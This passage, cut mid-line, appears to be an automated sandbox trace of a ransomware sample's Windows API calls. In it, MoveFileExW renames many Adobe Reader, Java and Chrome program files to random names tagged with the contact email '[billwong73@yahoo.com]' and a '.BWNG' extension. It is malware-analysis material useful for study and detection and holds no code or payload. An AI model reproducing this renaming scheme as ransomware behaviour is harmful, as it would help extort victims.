(x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\DigSig.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\digsig.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].AHJ9kwjX-H29Lu318.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].ahj9kwjx-h29lu318.bwng"), dwFlags=0x1) returned 1 [0107.739] GetTickCount () returned 0x11629cf [0107.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24969148575) returned 1 [0107.739] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\ReadOutLoud.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\readoutloud.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].qn9Uf3LQ-D8xRCcCU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].qn9uf3lq-d8xrcccu.bwng"), dwFlags=0x1) returned 1 [0108.068] GetTickCount () returned 0x1162b17 [0108.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25002015772) returned 1 [0108.068] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\orbd.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\orbd.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].0okq3yTu-F0SmxjAm.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].0okq3ytu-f0smxjam.bwng"), dwFlags=0x1) returned 1 [0108.232] GetTickCount () returned 0x1162bb3 [0108.232] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25018431310) returned 1 [0108.232] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\LogTransport2.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\logtransport2.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\[billwong73@yahoo.com].OQJ3MWs4-JH7MLGfF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\[billwong73@yahoo.com].oqj3mws4-jh7mlgff.bwng"), dwFlags=0x1) returned 1 [0108.234] GetTickCount () returned 0x1162bc2 [0108.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25018671257) returned 1 [0108.235] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\digsig.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].51d4oQZM-2iEamTm6.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].51d4oqzm-2ieamtm6.bwng"), dwFlags=0x1) returned 1 [0108.236] GetTickCount () returned 0x1162bc2 [0108.237] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25018873747) returned 1 [0108.237] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].xG35n8o3-DPj46DnW.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].xg35n8o3-dpj46dnw.bwng"), dwFlags=0x1) returned 1 [0108.238] GetTickCount () returned 0x1162bc2 [0108.238] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25020284305) returned 1 [0108.251] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\accessibility.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].158Pe49S-6opsQzfr.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].158pe49s-6opsqzfr.bwng"), dwFlags=0x1) returned 1 [0108.253] GetTickCount () returned 0x1162bd2 [0108.253] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25020747412) returned 1 [0108.256] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\nacl_irt_x86_64.nexe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\[billwong73@yahoo.com].XABe2XZ0-mZWfbZYQ.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\[billwong73@yahoo.com].xabe2xz0-mzwfbzyq.bwng"), dwFlags=0x1) returned 1 [0108.257] GetTickCount () returned 0x1162bd2 [0108.257] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25020953321) returned 1 [0108.258] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].FnMOBXwY-uBsi7nyp.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].fnmobxwy-ubsi7nyp.bwng"), dwFlags=0x1) returned 1 [0108.259] GetTickCount () returned 0x1162bd2 [0108.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25021110720) returned 1 [0108.259] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\content-types.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\content-types.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].ky3Ws7T9-cSKR1UY4.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].ky3ws7t9-cskr1uy4.bwng"), dwFlags=0x1) returned 1 [0108.261] GetTickCount () returned 0x1162bd2 [0108.261] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25021281719) returned 1 [0108.261] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\widevinecdmadapter.dll.sig"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\[billwong73@yahoo.com].gZLt45ZQ-S5B3Demg.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64\\[billwong73@yahoo.com].gzlt45zq-s5b3demg.bwng"), dwFlags=0x1) returned 1 [0108.262] GetTickCount () returned 0x1162bd2 [0108.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25021443778) returned 1 [0108.262] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\javaw.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\javaw.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].xQPIMmTr-InX6XFAj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].xqpimmtr-inx6xfaj.bwng"), dwFlags=0x1) returned 1 [0108.264] GetTickCount () returned 0x1162bd2 [0108.264] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25021588856) returned 1 [0108.264] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_ko.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].HqNdqITz-sn6Ie55z.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].hqndqitz-sn6ie55z.bwng"), dwFlags=0x1) returned 1 [0108.338] GetTickCount () returned 0x1162c20 [0108.338] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25029015061) returned 1 [0108.338] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].wYUWvk8b-3PH3DiKd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].wyuwvk8b-3ph3dikd.bwng"), dwFlags=0x1) returned 1 [0108.339] GetTickCount () returned 0x1162c20 [0108.339] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25029169633) returned 1 [0108.340] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\policytool.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\policytool.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].sZjGX7rI-nXzcvkb7.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].szjgx7ri-nxzcvkb7.bwng"), dwFlags=0x1) returned 1 [0108.341] GetTickCount () returned 0x1162c20 [0108.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25029312687) returned 1 [0108.341] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\jaccess.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\[billwong73@yahoo.com].r3XJhWcD-JGCPu1Yr.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\[billwong73@yahoo.com].r3xjhwcd-jgcpu1yr.bwng"), dwFlags=0x1) returned 1 [0108.343] GetTickCount () returned 0x1162c2f [0108.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25029532237) returned 1 [0108.343] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\calendars.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\calendars.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].r1VPC89Y-PunqTMEK.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].r1vpc89y-punqtmek.bwng"), dwFlags=0x1) returned 1 [0108.344] GetTickCount () returned 0x1162c2f [0108.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25029653524) returned 1 [0108.345] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].pZiQdG1B-njZDhxGs.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].pziqdg1b-njzdhxgs.bwng"), dwFlags=0x1) returned 1 [0108.346] GetTickCount () returned 0x1162c2f [0108.346] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25029808147) returned 1 [0108.346] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_child.dll.sig"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\[billwong73@yahoo.com].LPEdvJiG-uGmNFAB3.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\[billwong73@yahoo.com].lpedvjig-ugmnfab3.bwng"), dwFlags=0x1) returned 1 [0108.347] GetTickCount () returned 0x1162c2f [0108.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25029936685) returned 1 [0108.347] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].29YGo4Ut-sF5ixJnC.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].29ygo4ut-sf5ixjnc.bwng"), dwFlags=0x1) returned 1 [0108.349] GetTickCount () returned 0x1162c2f [0108.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25030077365) returned 1 [0108.349] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.properties.src" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fontconfig.properties.src"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].rAmIk7eF-ykyBjdfX.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].ramik7ef-ykybjdfx.bwng"), dwFlags=0x1) returned 1 [0108.350] GetTickCount () returned 0x1162c2f [0108.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25030204490) returned 1 [0108.350] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\jqs.conf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\jqs.conf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\[billwong73@yahoo.com].5eocgStd-rcNVexJT.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\[billwong73@yahoo.com].5eocgstd-rcnvexjt.bwng"), dwFlags=0x1) returned 1 [0108.454] GetTickCount () returned 0x1162c9d [0108.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25040599075) returned 1 [0108.458] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].IbbOcVgz-4QfZIul5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].ibbocvgz-4qfziul5.bwng"), dwFlags=0x1) returned 1 [0108.475] GetTickCount () returned 0x1162cac [0108.475] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25042699745) returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0108.483] GetTickCount () returned 0x1162cbc [0108.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25043531181) returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0108.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0108.483] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\am.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\am.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].FeImTXSC-XC1D4uws.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].feimtxsc-xc1d4uws.bwng"), dwFlags=0x1) returned 1 [0108.586] GetTickCount () returned 0x1162d19 [0108.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25053810867) returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0108.586] GetTickCount () returned 0x1162d19 [0108.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25053844742) returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0108.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0108.587] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_sv.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].qL0EFmqQ-aFOpncAX.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].ql0efmqq-afopncax.bwng"), dwFlags=0x1) returned 1 [0108.588] GetTickCount () returned 0x1162d19 [0108.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25054016612) returned 1 [0108.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0108.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0108.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0108.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0108.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0108.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0108.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0108.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0108.588] GetTickCount () returned 0x1162d19 [0108.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=25054049043) returned 1 [0108.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0108.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0108.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0108.588] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0108.588] MultiByteToWideChar (in: 